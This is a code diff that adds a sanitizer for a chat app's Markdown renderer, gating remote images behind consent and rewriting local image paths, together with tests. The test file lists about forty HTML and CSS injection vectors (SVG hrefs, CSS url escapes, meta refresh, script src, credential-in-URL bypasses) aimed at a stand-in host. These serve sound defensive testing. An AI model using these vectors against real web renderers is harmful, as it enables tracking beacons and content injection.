+ const doc = new DOMParser().parseFromString(renderMarkdown(text, { image }), "text/html");
+ expect(doc.querySelector("img")).toBeNull();
+ const button = doc.querySelector("button.remote-image");
+ expect(button?.textContent).toBe("Load image from evil.example");
+ expect(button?.getAttribute("type")).toBe("button");
+ expect(button?.getAttribute("data-src")).toMatch(/^https?:\/\/evil\.example\//);
+ expect(button?.hasAttribute("onerror")).toBe(false);
+ });
+
+ it.each([
+ "/local-image?path=%2Ftmp%2Fa.png",
+ "data:image/png;base64,iVBORw0KGgo=",
+ `${window.location.origin}/image.png`,
+ "http://localhost:24203/images/conversation/image.png",
+ ])("keeps trusted image %s", (src) => {
+ expect(imageSrc(renderMarkdown(`<img src="${src}">`, { image }))).toBe(src);
+ });
+
+ it("compares exact origins, not hostname prefixes or URL credentials", () => {
+ for (const src of [
+ "http://localhost:24203.evil.example/a.png",
+ "http://localhost:[email protected]/a.png",
+ "http://localhost:24206/a.png",
+ "https://localhost:24203/a.png",
+ ]) {
+ expect(imageSrc(renderMarkdown(`<img src="${src}">`, { image }))).toBeNull();
+ }
+ });
+
+ it("does not leak a backend allowlist between renders", () => {
+ const text = "![pic](http://localhost:24203/a.png)";
+ expect(imageSrc(renderMarkdown(text, { image }))).not.toBeNull();
+ expect(imageSrc(renderMarkdown(text))).toBeNull();
+ });
+
+ it("removes responsive image sources so srcset cannot bypass consent", () => {
+ const html = renderMarkdown(
+ '<picture><source srcset="https://evil.example/a.png"><img src="/safe.png" srcset="https://evil.example/b.png 2x"></picture>',
+ );
+ expect(html).not.toContain("srcset");
+ expect(html).not.toContain("evil.example");
+ });
+
+ it("blocks images in streaming tails and settled prefixes too", () => {
+ const state = createStreamingMarkdown();
+ const text = "![pic](https://evil.example/pixel)";
+ expect(imageSrc(renderMarkdownTail(text))).toBeNull();
+ expect(advance(state, text).tailHtml).toContain("remote-image");
+ const settled = advance(state, `${text}\n\nafter\n`);
+ expect(settled.prefixHtml).toContain("remote-image");
+ expect(imageSrc(settled.prefixHtml)).toBeNull();
+ });
+
+ it("does not affect other DOMPurify consumers", async () => {
+ const { default: purify } = await import("dompurify");
+ expect(imageSrc(purify.sanitize('<img src="https://evil.example/a.png">'))).not.toBeNull();
+ });
+ });
+
+ describe("raw HTML cannot load remote content outside image consent", () => {
+ const remote = "https://evil.example/beacon";
+ const vectors = [
+ ["video poster", `<video poster="${remote}"></video>`, "video"],
+ ["video src", `<video src="${remote}" autoplay></video>`, "video"],
+ ["audio src", `<audio src="${remote}" preload="auto"></audio>`, "audio"],
+ ["source src", `<video><source src="${remote}"></video>`, "source"],
+ ["source srcset", `<picture><source srcset="${remote} 2x"></picture>`, "source"],
+ ["track src", `<video><track src="${remote}" default></video>`, "track"],
+ ["image input", `<input type="image" src="${remote}">`, "input"],
+ ["input src without type", `<input src="${remote}">`, "input"],
+ ["inline background", `<div style="background-image:url(${remote})">text</div>`, "[style]"],
+ ["inline CSS escape", `<p style="background: u\\72l(${remote})">text</p>`, "[style]"],
+ [
+ "inline image-set",
+ `<span style="background:image-set('${remote}' 1x)">text</span>`,
+ "[style]",
+ ],
+ ["style import", `<style>@import '${remote}';</style>`, "style"],
+ ["SVG image href", `<svg><image href="${remote}" /></svg>`, "svg,image"],
+ ["SVG image xlink", `<svg><image xlink:href="${remote}" /></svg>`, "svg,image"],
+ ["SVG use href", `<svg><use href="${remote}#x" /></svg>`, "svg,use"],
+ ["SVG use xlink", `<svg><use xlink:href="${remote}#x" /></svg>`, "svg,use"],
+ ["SVG filter", `<svg><filter><feImage href="${remote}" /></filter></svg>`, "svg,feImage"],
+ ["MathML", `<math href="${remote}"><mi>x</mi></math>`, "math"],
+ [
+ "table background",
+ `<table background="${remote}"><tr><td>x</td></tr></table>`,
+ "[background]",
+ ],
+ [
+ "td background",
+ `<table><tr><td background="${remote}">x</td></tr></table>`,
+ "[background]",
+ ],
+ ["body background", `<body background="${remote}">x</body>`, "[background]"],
+ ["object data", `<object data="${remote}"></object>`, "object"],
+ ["embed src", `<embed src="${remote}">`, "embed"],
+ ["embed data", `<embed data="${remote}">`, "embed"],
+ ["form action", `<form action="${remote}"><button>go</button></form>`, "form,[action]"],
+ ["button formaction", `<button formaction="${remote}">go</button>`, "[formaction]"],
+ ["input formaction", `<input type="submit" formaction="${remote}">`, "input,[formaction]"],
+ ["stylesheet link", `<link rel="stylesheet" href="${remote}">`, "link"],
+ ["preload link", `<link rel="preload" as="image" href="${remote}">`, "link"],
+ ["prefetch link", `<link rel="prefetch" href="${remote}">`, "link"],
+ ["DNS prefetch", `<link rel="dns-prefetch" href="//evil.example">`, "link"],
+ ["meta refresh", `<meta http-equiv="refresh" content="0;url=${remote}">`, "meta"],
+ ["iframe src", `<iframe src="${remote}"></iframe>`, "iframe"],
+ [
+ "iframe srcdoc",
+ `<iframe srcdoc="&lt;img src='${remote}'&gt;"></iframe>`,
+ "iframe,[srcdoc]",
+ ],
+ ["base URL", `<base href="${remote}/"><img src="/safe.png">`, "base"],
+ ["script src", `<script src="${remote}"></script>`, "script"],
+ ["anchor ping", `<a href="/safe" ping="${remote}">link</a>`, "[ping]"],
+ ["legacy command", `<command icon="${remote}">`, "command"],
+ ["legacy applet", `<applet codebase="${remote}" archive="x.jar"></applet>`, "applet"],
+ ["non-image src", `<div src="${remote}" href="${remote}">text</div>`, "[src],[href]"],
+ ] as const;
+
+ // Inspect the returned DOM, not jsdom's lack of resource fetching. Both
+ // authoritative renders and streaming tails must remove each active sink.
+ describe.each([
+ ["full", renderMarkdown],
+ ["tail", renderMarkdownTail],
+ ] as const)("%s render", (_name, render) => {
+ it.each(vectors)("neutralizes %s", (_vector, text, forbidden) => {
+ const doc = new DOMParser().parseFromString(render(text), "text/html");
+ expect(doc.querySelector(forbidden)).toBeNull();
+ for (const element of doc.body.querySelectorAll("*")) {
+ for (const attr of element.attributes) {
+ if (attr.name === "href" && element.tagName === "A") continue;
+ expect(attr.value).not.toContain("evil.example");
+ }
+ }
+ });
+ });
+
+ it("also blocks all vectors in settled streaming prefixes", () => {
+ for (const [_name, text, forbidden] of vectors) {
+ const state = createStreamingMarkdown();
+ advance(state, `${text}\n\ntail`);
+ const result = advance(state, `${text}\n\ntail grows`);
+ const doc = new DOMParser().parseFromString(
+ result.prefixHtml + result.tailHtml,
+ "text/html",
+ );
+ expect(doc.querySelector(forbidden)).toBeNull();
+ }
+ });
+
+ it("retains passive Markdown structure, highlighting and disabled task checkboxes", () => {
+ const html = renderMarkdown(
+ "- [x] done\n- [ ] pending\n\n| A | B |\n| - | - |\n| x | y |\n\n```js\nconst x = 1;\n```",
+ );
+ const doc = new DOMParser().parseFromString(html, "text/html");
+ expect(doc.querySelectorAll('input[type="checkbox"][disabled]')).toHaveLength(2);
+ expect(doc.querySelector("input[checked]")).not.toBeNull();
+ expect(doc.querySelectorAll("td")).toHaveLength(2);
+ expect(doc.querySelector(".hljs-keyword")).not.toBeNull();
+ expect(doc.querySelector('button[data-copy][type="button"]')).not.toBeNull();
+ });
+
+ it("makes raw checkboxes and buttons inert, even inside an outer form", () => {
+ const doc = new DOMParser().parseFromString(
+ renderMarkdown('<input type="checkbox"><button type="submit">go</button>'),
+ "text/html",
+ );
+ expect(doc.querySelector("input")?.hasAttribute("disabled")).toBe(true);
+ expect(doc.querySelector("button")?.getAttribute("type")).toBe("button");
+ });
+
+ it("does not permit non-HTTP network schemes on images", () => {
+ expect(imageSrc(renderMarkdown('<img src="ftp://evil.example/beacon">'))).toBeNull();
+ });
+ });
+
+ describe("local-path images", () => {
+ const BASE = "http://localhost:24203";
+ const image = { apiBase: BASE, cwd: "/w/foo" };
+
+ it("rewrites a file:// URL to the backend image route", () => {
+ expect(imageSrc(renderMarkdown("![pic](file:///home/u/pic.png)", { image }))).toBe(
+ `${BASE}/local-image?path=%2Fhome%2Fu%2Fpic.png`,
+ );
+ });
+
+ it("rewrites an absolute path; an empty apiBase yields a root-relative src", () => {
+ expect(imageSrc(renderMarkdown("![pic](/home/u/pic.png)", { image: { apiBase: "" } }))).toBe(
+ "/local-image?path=%2Fhome%2Fu%2Fpic.png",
+ );
+ expect(imageSrc(renderMarkdown("![pic](/home/u/pic.png)", { image }))).toBe(
+ `${BASE}/local-image?path=%2Fhome%2Fu%2Fpic.png`,
+ );
+ });
+
+ it("resolves a relative path against the conversation cwd", () => {
+ expect(imageSrc(renderMarkdown("![shot](shot.png)", { image }))).toBe(
+ `${BASE}/local-image?path=%2Fw%2Ffoo%2Fshot.png`,
+ );
+ expect(
+ imageSrc(renderMarkdown("![shot](shot.png)", { image: { apiBase: BASE, cwd: "/w/foo/" } })),
+ ).toBe(`${BASE}/local-image?path=%2Fw%2Ffoo%2Fshot.png`);
+ });
+
+ it("leaves a relative path untouched when no cwd is available", () => {
+ expect(imageSrc(renderMarkdown("![shot](shot.png)", { image: { apiBase: BASE } }))).toBe(
+ "shot.png",
+ );
+ expect(imageSrc(renderMarkdown("![shot](shot.png)", { image }))).toBe(
+ `${BASE}/local-image?path=%2Fw%2Ffoo%2Fshot.png`,
+ );
+ expect(imageSrc(renderMarkdown("![shot](shot.png)"))).toBe("shot.png");
+ });
+
+ it("leaves data: images untouched", () => {
+ const data = "data:image/png;base64,iVBORw0KGgo=";
+ expect(imageSrc(renderMarkdown(`![inline](${data})`, { image }))).toBe(data);
+ });
+
+ it("does not rewrite image syntax inside fenced code", () => {
+ const html = renderMarkdown("```md\n![pic](/home/u/pic.png)\n```", { image });
+ expect(html).toContain("/home/u/pic.png");
+ expect(html).not.toContain("/local-image");
+ });
+
+ it("rewrites the streaming tail, the settled prefix, and a seeded tail", () => {
+ const state = createStreamingMarkdown();
+ const tail = advance(state, "![pic](/home/u/pic.png)", { image });
+ expect(imageSrc(tail.tailHtml)).toBe(`${BASE}/local-image?path=%2Fhome%2Fu%2Fpic.png`);
+
+ // The settled prefix must render with the same options too.
+ const settled = advance(state, "![pic](/home/u/pic.png)\n\nnext\n", { image });
+ expect(imageSrc(settled.prefixHtml)).toBe(`${BASE}/local-image?path=%2Fhome%2Fu%2Fpic.png`);
+
+ const seeded = renderMarkdownTail(
+ "![shot](shot.png)",
+ { fences: 0, bold: 0, code: 0 },
+ {
+ image,
+ },
+ );
+ expect(imageSrc(seeded)).toBe(`${BASE}/local-image?path=%2Fw%2Ffoo%2Fshot.png`);
+ });
+
+ it("invalidates the streaming cache when the image options change (async cwd)", () => {
+ const state = createStreamingMarkdown();
+ const text = "![shot](shot.png)\n\nnext\n";
+ advance(state, text);
+ expect(imageSrc(state.prefixHtml)).toBe("shot.png"); // no cwd yet
+ const updated = advance(state, text, { image });
+ expect(imageSrc(updated.prefixHtml)).toBe(`${BASE}/local-image?path=%2Fw%2Ffoo%2Fshot.png`);
+ });
+ });
});
diff --git a/src/features/markdown/logic/markdown.ts b/src/features/markdown/logic/markdown.ts
index ad8a8bd..ed287d2 100644
--- a/src/features/markdown/logic/markdown.ts
+++ b/src/features/markdown/logic/markdown.ts
@@ -36,6 +36,7 @@ import xml from "highlight.js/lib/languages/xml";
import yaml from "highlight.js/lib/languages/yaml";
import { Marked } from "marked";
import { markedHighlight } from "marked-highlight";
+import { resolveImageUrl } from "../../../core/chunks";
// Hot set: registered eagerly so common code blocks highlight on first paint.
const HOT_LANGUAGES: Record<string, LanguageFn> = {
@@ -125,19 +126,50 @@ const md = new Marked(
/**
* While a message is still streaming, balance dangling fences / emphasis so the
- * partial text renders cleanly instead of flashing raw markers.
+ * partial text renders cleanly instead of flashing raw markers. `seed` carries
+ * the delimiter counts of the ALREADY-SETTLED prefix (see
+ * `logic/streaming-markdown`): the full-text streaming render appends markers
+ * at the very END of the whole source, so a tail rendered alone must count the
+ * prefix's parity to append in exactly the same place (or not) — otherwise a
+ * settled paragraph with a lone `**` would transiently render differently.
*/
-function closeOpenDelimiters(src: string): string {
+function closeOpenDelimiters(
+ src: string,
+ seed: DelimiterCounts = { fences: 0, bold: 0, code: 0 },
+): string {
let out = src;
- const fenceCount = (out.match(/^```/gm) ?? []).length;
+ const fenceCount = (out.match(/^```/gm) ?? []).length + seed.fences;
if (fenceCount % 2 !== 0) out += "\n```";
- const boldCount = (out.match(/\*\*/g) ?? []).length;
+ const boldCount = (out.match(/\*\*/g) ?? []).length + seed.bold;
if (boldCount % 2 !== 0) out += "**";
- const inlineCode = (out.match(/(?<!`)`(?!`)/g) ?? []).length;
+ const inlineCode = (out.match(/(?<!`)`(?!`)/g) ?? []).length + seed.code;
if (inlineCode % 2 !== 0) out += "`";
return out;
}
+/**
+ * Counts of the delimiter constructs {@link closeOpenDelimiters} balances,
+ * using the SAME regexes — the streaming checkpoint module accumulates them
+ * over settled blocks and seeds the tail's balance pass with the total, so the
+ * tail's appended markers land exactly where a whole-text render would put
+ * them. Pure: `input → output`.
+ */
+export interface DelimiterCounts {
+ readonly fences: number;
+ readonly bold: number;
+ readonly code: number;
+}
+
+const ZERO_COUNTS: DelimiterCounts = { fences: 0, bold: 0, code: 0 };
+
+export function countDelimiters(src: string): DelimiterCounts {
+ return {
+ fences: (src.match(/^```/gm) ?? []).length,
+ bold: (src.match(/\*\*/g) ?? []).length,
+ code: (src.match(/(?<!`)`(?!`)/g) ?? []).length,
+ };
+}
+
// Wrap each fenced code block (`<pre>…</pre>`) in a positioned container with a
// copy button. marked emits exactly one `<pre>`/`</pre>` pair per block and
// escapes `<`/`>` inside code, so these literal tags only ever delimit blocks.
@@ -153,12 +185,309 @@ function addCopyButtons(html: string): string {
.replace(/<\/pre>/g, "</pre></div>");
}
+// Positive policy: chat HTML is passive Markdown structure, not arbitrary web
+// content. New browser elements/attributes must not silently add fetch sinks.
+// In particular there is no CSS, SVG/MathML, media, form, embed or metadata.
+const MARKDOWN_TAGS = [
+ "a",
+ "abbr",
+ "b",
+ "blockquote",
+ "br",
+ "caption",
+ "code",
+ "col",
+ "colgroup",
+ "dd",
+ "del",
+ "details",
+ "div",
+ "dl",
+ "dt",
+ "em",
+ "h1",
+ "h2",
+ "h3",
+ "h4",
+ "h5",
+ "h6",
+ "hr",
+ "i",
+ "img",
+ "kbd",
+ "li",
+ "mark",
+ "ol",
+ "p",
+ "pre",
+ "q",
+ "rp",
+ "rt",
+ "ruby",
+ "s",
+ "samp",
+ "small",
+ "span",
+ "strong",
+ "sub",
+ "summary",
+ "sup",
+ "table",
+ "tbody",
+ "td",
+ "tfoot",
+ "th",
+ "thead",
+ "tr",
+ "u",
+ "ul",
+ "var",
+ "wbr",
+ "button",
+ "input",
+];
+const MARKDOWN_ATTRIBUTES = [
+ "alt",
+ "align",
+ "checked",
+ "class",
+ "colspan",
+ "disabled",
+ "height",
+ "href",
+ "open",
+ "reversed",
+ "rowspan",
+ "scope",
+ "src",
+ "start",
+ "title",
+ "type",
+ "width",
+];
+
+/**
+ * A dedicated, render-local DOMPurify instance: hooks never affect another
+ * consumer or retain a conversation's backend allowlist. The document base is
+ * part of the sanitizer's existing DOM dependency; no location/state is cached.
+ */
+function sanitize(html: string, image?: MarkdownImageOptions): string {
+ const purify = DOMPurify();
+ const base = document.baseURI;
+ const origin = new URL(base).origin;
+ const backendOrigin = image === undefined ? origin : new URL(image.apiBase || base, base).origin;
+ purify.addHook("uponSanitizeElement", (node) => {
+ // Keep GFM task lists, but no image/submit/other form controls. Removing
+ // only type/src would allow browser defaulting or later attribute changes.
+ if (
+ node.nodeName === "INPUT" &&
+ (node as Element).getAttribute("type")?.toLowerCase() !== "checkbox"
+ ) {
+ node.parentNode?.removeChild(node);
+ }
+ });
+ purify.addHook("afterSanitizeAttributes", (node) => {
+ // URL-bearing attributes are supported ONLY on these two HTML elements.
+ if (node.tagName !== "A") node.removeAttribute("href");
+ if (node.tagName !== "IMG") node.removeAttribute("src");
+ if (node.tagName === "INPUT") node.setAttribute("disabled", "");
+ if (node.tagName === "BUTTON") node.setAttribute("type", "button");
+ if (node.tagName === "A" && node.hasAttribute("href")) {
+ node.setAttribute("target", "_blank");
+ node.setAttribute("rel", "noopener noreferrer");
+ }
+ if (node.tagName !== "IMG") return;
+ const src = node.getAttribute("src");
+ if (src === null) return;
+ let url: URL;
+ try {
+ url = new URL(src, base);
+ } catch {
+ node.removeAttribute("src");
+ return;
+ }
+ if (url.protocol === "data:") return; // Image context cannot load subresources.
+ if (url.protocol !== "http:" && url.protocol !== "https:") {
+ node.removeAttribute("src");
+ return;
+ }
+ if (url.origin === origin || url.origin === backendOrigin) return;
+
+ // Only safe, inert attributes are carried over. In particular, never copy
+ // srcset or author event handlers to the image created after consent.
+ const button = node.ownerDocument.createElement("button");
+ button.setAttribute("type", "button");
+ button.setAttribute("class", "remote-image btn btn-sm");
+ button.setAttribute("data-src", url.href);
+ button.setAttribute("data-alt", node.getAttribute("alt") ?? "");
+ const title = node.getAttribute("title");
+ if (title !== null) button.setAttribute("data-title", title);
+ button.textContent = `Load image from ${url.host}`;
+ node.parentNode?.replaceChild(button, node);
+ });
+ return purify.sanitize(html, {
+ ALLOWED_TAGS: MARKDOWN_TAGS,
+ ALLOWED_ATTR: MARKDOWN_ATTRIBUTES,
+ // Keep consent/copy data and accessibility labels, never active URL sinks
+ // such as srcset, style, background, ping, action or namespaced href.
+ ALLOW_DATA_ATTR: true,
+ ALLOW_ARIA_ATTR: true,
+ });
+}
+
+/**
+ * Per-conversation context for rendering local-path images inline. `apiBase`
+ * is the backend HTTP base (may be `""` → a root-relative `/local-image?…`);
+ * `cwd` resolves RELATIVE Markdown image srcs against the conversation's
+ * working directory (the same machine the backend serves files from).
+ */
+export interface MarkdownImageOptions {
+ readonly apiBase: string;
+ readonly cwd?: string | null;
+}
+
+/** Render options shared by all three render paths. */
+export interface MarkdownRenderOptions {
+ /** Balance dangling delimiters while the message is still generating. */
+ readonly streaming?: boolean;
+ /** Rewrite local-path image srcs through the backend's `/local-image` route. */
+ readonly image?: MarkdownImageOptions;
+}
+
+/** Decode a URL-ish path, tolerating malformed `%` escapes. */
+function safeDecode(path: string): string {
+ try {
+ return decodeURIComponent(path);
+ } catch {
+ return path;
+ }
+}
+
+/**
+ * Rewrite one image `src` for the local-image feature. Pure: `input → output`.
+ *
+ * - `file:///path` → local absolute path (scheme stripped).
+ * - `/absolute/path` → local absolute path.
+ * - a relative path (no scheme, no leading `/`) → joined to the conversation
+ * `cwd` (no `cwd` → left untouched).
+ * - `http(s)://…`, `data:`, and any other scheme → left untouched.
+ *
+ * Local paths become `${apiBase}/local-image?path=<encoded>`, reusing
+ * `resolveImageUrl`'s join-without-double-slash semantics (an empty `apiBase`
+ * yields a root-relative path).
+ */
+function rewriteImageSrc(src: string, image: MarkdownImageOptions): string {
+ const trimmed = src.trim();
+ if (trimmed.length === 0) return src;
+ // Network-path URLs (including browser-normalized backslashes) are URLs,
+ // not local filesystem paths. The sanitizer applies the consent policy.
+ if (/^(?:data:|https?:\/\/)/i.test(trimmed) || /^[/\\]{2}/.test(trimmed)) return src;
+
+ let path: string;
+
+ if (/^file:\/\//i.test(trimmed)) {
+ // file:///abs/path (and file://localhost/abs/path) → /abs/path.
+ const match = /^file:\/\/([^/]*)(\/.*)?$/i.exec(trimmed);
+ if (match === null) return src;
+ const host = match[1] ?? "";
+ const filePath = match[2] ?? "/";
+ path = host === "" || host.toLowerCase() === "localhost" ? filePath : `/${host}${filePath}`;
+ path = safeDecode(path);
+ } else if (trimmed.startsWith("/")) {
+ path = safeDecode(trimmed);
+ } else if (trimmed.startsWith("~/")) {
+ // The backend expands a leading `~`; pass it through un-joined.
+ path = trimmed;
+ } else if (/^[a-zA-Z][a-zA-Z0-9+.-]*:/.test(trimmed)) {
+ // Some other scheme (mailto:, ftp:, …) — leave it alone.
+ return src;
+ } else {
+ const cwd = image.cwd ?? null;
+ if (cwd === null || cwd.length === 0) return src;
+ const base = cwd.replace(/\/+$/, "");
+ path = `${base}/${safeDecode(trimmed.replace(/^\.\//, ""))}`;
+ }
+
+ return resolveImageUrl(`/local-image?path=${encodeURIComponent(path)}`, image.apiBase);
+}
+
+/**
+ * Parse with marked, optionally rewriting image token `href`s just before
+ * rendering. Doing it on the token stream (not the Markdown source) means
+ * fenced/inline code is never touched, and reference-style images resolve
+ * through marked's normal link resolution. When `image` is absent the parse is
+ * byte-identical to today's.
+ */
+function parseMarkdown(src: string, image?: MarkdownImageOptions): string {
+ if (image === undefined) return md.parse(src) as string;
+
+ const renderer = new md.Renderer();
+ const imageRenderer = renderer.image;
+ renderer.image = (token) =>
+ imageRenderer.call(renderer, {
+ ...token,
+ href: rewriteImageSrc(token.href, image),
+ });
+ return md.parse(src, { renderer }) as string;
+}
+
/** Render Markdown to sanitized HTML. Returns `""` if parsing ever throws. */
-export function renderMarkdown(text: string, opts?: { streaming?: boolean }): string {
+export function renderMarkdown(text: string, opts?: MarkdownRenderOptions): string {
const src = opts?.streaming === true ? closeOpenDelimiters(text) : text;
try {
- const raw = md.parse(src) as string;
- return DOMPurify.sanitize(addCopyButtons(raw));
+ return sanitize(addCopyButtons(parseMarkdown(src, opts?.image)), opts?.image);
+ } catch {
+ return "";
+ }
+}
+
+/**
+ * The streaming TAIL pipeline — today's exact pipeline for the UNSETTLED tail
+ * of a streaming message (`closeOpenDelimiters` → marked → copy buttons →
+ * DOMPurify), with the delimiter parity SEEDED from the settled prefix (see
+ * {@link countDelimiters}). With a zero seed this is byte-identical to
+ * `renderMarkdown(text, { streaming: true })`, so the checkpoint module's
+ * degenerate case (nothing settled yet) is exactly today's behavior.
+ * Returns `""` if parsing ever throws.
+ */
+export function renderMarkdownTail(
+ text: string,
+ seed: DelimiterCounts = ZERO_COUNTS,
+ opts?: MarkdownRenderOptions,
+): string {
+ const src = closeOpenDelimiters(text, seed);
+ try {
+ return sanitize(addCopyButtons(parseMarkdown(src, opts?.image)), opts?.image);
+ } catch {
+ return "";
+ }
+}
+
+/**
+ * Escapes code content the way marked does inside `<code>` (only `&`, `<`,
+ * `>` — quotes stay literal) so the plain open-fence render below is
+ * character-identical to what the closed-fence pipeline would emit.
+ */
+function escapeCode(s: string): string {
+ return s.replace(/&/g, "&amp;").replace(/</g, "&lt;").replace(/>/g, "&gt;");
+}
+
+/**
+ * Plain (UN-highlighted) rendering of an OPEN fenced code block — the Level-2
+ * streaming behavior: while a fence is still open its content is final-format
+ * escaped `<pre><code>` with NO hljs (hljs state spans lines — an unterminated
+ * string/block comment would recolor earlier lines, so line-incremental
+ * highlighting is unsound). The block is highlighted exactly ONCE, when it
+ * closes and settles into the checkpoint cache. Emits the same copy-button
+ * wrapper + `hljs language-X` classes as the closed pipeline (modulo color
+ * spans), so the pop-in on close is "just colour".
+ */
+export function renderOpenFence(info: string, code: string): string {
+ const lang = info.trim().split(/\s+/)[0] ?? "";
+ const cls = lang === "" ? "hljs" : `hljs language-${escapeHtml(lang)}`;
+ const html = `<pre><code class="${cls}">${escapeCode(code)}</code></pre>`;
+ try {
+ return sanitize(addCopyButtons(html));
} catch {
return "";
}
diff --git a/src/features/markdown/logic/streaming-markdown.test.ts b/src/features/markdown/logic/streaming-markdown.test.ts
new file mode 100644
index 0000000..931803b
--- /dev/null
+++ b/src/features/markdown/logic/streaming-markdown.test.ts
@@ -0,0 +1,325 @@
+import hljs from "highlight.js/lib/core";
+import { beforeEach, describe, expect, it, vi } from "vitest";
+import { countDelimiters, renderMarkdown, renderMarkdownTail, renderOpenFence } from "./markdown";
+import { advance, createStreamingMarkdown } from "./streaming-markdown";
+
+/**
+ * Test-side normalizer for the equivalence contract. The checkpoint render may
+ * legitimately differ from today's whole-text streaming render in exactly two
+ * transient ways while streaming:
+ * 1. Level 2: an OPEN fence renders plain-escaped (no hljs spans) — unwrapping
+ * hljs spans on both sides makes them comparable ("just colour" is the
+ * accepted trade; the closed render is byte-identical).
+ * 2. Newlines BETWEEN top-level blocks (each rendered unit emits its own
+ * trailing newline) and marked's trailing newline inside `<code>` before an
+ * appended closing fence — inter-tag whitespace collapse handles both.
+ * Text-node content inside `<pre><code>` is untouched (`>…<` never matches
+ * escaped code content), so code bytes are still compared exactly.
+ */
+function normalizeHtml(html: string): string {
+ const host = document.createElement("div");
+ host.innerHTML = html;
+ for (const span of [...host.querySelectorAll("span")]) {
+ if ([...span.classList].some((c) => c.startsWith("hljs"))) {
+ span.replaceWith(...span.childNodes);
+ }
+ }
+ return host.innerHTML
+ .replace(/>\s+</g, "><")
+ .replace(/\n+(?=<\/code>)/g, "")
+ .trim();
+}
+
+describe("streaming-markdown", () => {
+ beforeEach(() => {
+ vi.restoreAllMocks();
+ });
+
+ it("degenerate case (nothing settled) is exactly today's streaming render", () => {
+ const state = createStreamingMarkdown();
+ const text = "Some **bold** and `code` text";
+ const { prefixHtml, tailHtml } = advance(state, text);
+ expect(prefixHtml).toBe("");
+ expect(tailHtml).toBe(renderMarkdown(text, { streaming: true }));
+ });
+
+ it("settles a paragraph at a blank-line boundary and matches the full render", () => {
+ const state = createStreamingMarkdown();
+ // The settle commits only once the boundary's lookahead line completes.
+ advance(state, "first para\n\nnext");
+ expect(state.prefixHtml).toBe("");
+ advance(state, "first para\n\nnext\n");
+ // The settle point is the START of the blank run (the separator blanks
+ // lead the tail, where marked ignores them — the rendered HTML is the
+ // same either way).
+ expect(state.prefixHtml).toBe(renderMarkdown("first para\n"));
+ expect(state.settledOffset).toBe("first para\n".length);
+ // Equivalence against the whole-text render.
+ const { prefixHtml, tailHtml } = advance(state, "first para\n\nnext\n");
+ expect(normalizeHtml(prefixHtml + tailHtml)).toBe(
+ normalizeHtml(renderMarkdown("first para\n\nnext\n", { streaming: true })),
+ );
+ });
+
+ it("matches the full render while inside an open list (no checkpoints — degraded caching, never wrong)", () => {
+ const state = createStreamingMarkdown();
+ const text = "- item a\n\n- item b\n\n- item c";
+ let shown = "";
+ for (let i = 1; i <= text.length; i++) {
+ const prefix = text.slice(0, i);
+ const r = advance(state, prefix);
+ shown = r.prefixHtml + r.tailHtml;
+ expect(normalizeHtml(shown)).toBe(normalizeHtml(renderMarkdown(prefix, { streaming: true })));
+ }
+ });
+
+ it("highlight-exactly-once: zero hljs while a fence is open, one call when it closes", () => {
+ const spy = vi.spyOn(hljs, "highlight");
+ const state = createStreamingMarkdown();
+
+ advance(state, "intro\n\n```js\nc");
+ expect(spy).not.toHaveBeenCalled(); // open fence → plain escaped, no hljs
+
+ advance(state, "intro\n\n```js\nconst x = 1;\n");
+ expect(spy).not.toHaveBeenCalled(); // still open
+
+ const closed = advance(state, "intro\n\n```js\nconst x = 1;\n```\n");
+ expect(spy).toHaveBeenCalledTimes(1); // highlighted EXACTLY once, on close
+ expect(closed.prefixHtml).toContain("hljs-keyword"); // the settled fence is colored
+ // The open-fence tail is gone (nothing but prose after the fence).
+ expect(closed.tailHtml).toBe(renderMarkdownTail("", state.seed));
+
+ // Subsequent deltas do NOT re-highlight the settled block.
+ advance(state, "intro\n\n```js\nconst x = 1;\n```\nafter\n");
+ advance(state, "intro\n\n```js\nconst x = 1;\n```\nafter\nmore\n");
+ expect(spy).toHaveBeenCalledTimes(1);
+ });
+
+ it("open fence renders plain-escaped <pre><code> with the same classes/wrapper as the closed pipeline", () => {
+ const state = createStreamingMarkdown();
+ const { prefixHtml, tailHtml } = advance(state, "intro\n\n```js\nconst x = 1;");
+ expect(prefixHtml).toContain("intro");
+ expect(tailHtml).toContain('<pre><code class="hljs language-js">');
+ expect(tailHtml).toContain("data-copy"); // same copy-button wrapper
+ expect(tailHtml).not.toContain("hljs-keyword"); // uncolored while open
+ expect(tailHtml).toContain("const x = 1;");
+ });
+
+ it("resets the cache when the text shrinks or is replaced (not an append)", () => {
+ const state = createStreamingMarkdown();
+ advance(state, "para one\n\npara two\n");
+ expect(state.prefixHtml).not.toBe("");
+ const shrunk = advance(state, "para one\n\npara");
+ expect(state.settledOffset).toBe(0);
+ expect(state.prefixHtml).toBe("");
+ expect(shrunk.tailHtml).toBe(renderMarkdown("para one\n\npara", { streaming: true }));
+ });
+
+ it("cache stability: prefixHtml string identity is stable across appends that settle nothing", () => {
+ const state = createStreamingMarkdown();
+ advance(state, "para one\n\npara two\n");
+ const before = state.prefixHtml;
+ advance(state, "para one\n\npara two\ntail");
+ advance(state, "para one\n\npara two\ntail more");
+ expect(state.prefixHtml).toBe(before); // same STRING identity, not just equal
+ });
+
+ it("link-reference-definition invalidates the cache (a later def can rewrite earlier shortrefs)", () => {
+ const state = createStreamingMarkdown();
+ advance(state, "see [label]\n\npara\n");
+ expect(state.prefixHtml).not.toBe("");
+ advance(state, "see [label]\n\npara\n\n[label]: https://example.com\n");
+ // The definition line was scanned: the cache dropped, everything re-renders
+ // through the tail (whole-text parse resolves the shortref).
+ expect(state.settledOffset).toBe(0);
+ expect(state.prefixHtml).toBe("");
+ const r = advance(state, "see [label]\n\npara\n\n[label]: https://example.com\n\nafter\n");
+ expect(normalizeHtml(r.prefixHtml + r.tailHtml)).toBe(
+ normalizeHtml(
+ renderMarkdown("see [label]\n\npara\n\n[label]: https://example.com\n\nafter\n", {
+ streaming: true,
+ }),
+ ),
+ );
+ });
+
+ it("does not checkpoint inside an unclosed HTML comment or <pre> block", () => {
+ const state = createStreamingMarkdown();
+ const text = "<!-- a comment\n\nstill commented\n\nand more";
+ let out = "";
+ for (let i = 1; i <= text.length; i++) {
+ const r = advance(state, text.slice(0, i));
+ out = r.prefixHtml + r.tailHtml;
+ expect(normalizeHtml(out)).toBe(
+ normalizeHtml(renderMarkdown(text.slice(0, i), { streaming: true })),
+ );
+ }
+ expect(state.settledOffset).toBe(0); // nothing settled inside the comment
+
+ const s2 = createStreamingMarkdown();
+ const text2 = "<pre>\n\nstill raw\n\n</pre>\n\nafter";
+ for (let i = 1; i <= text2.length; i++) {
+ const r = advance(s2, text2.slice(0, i));
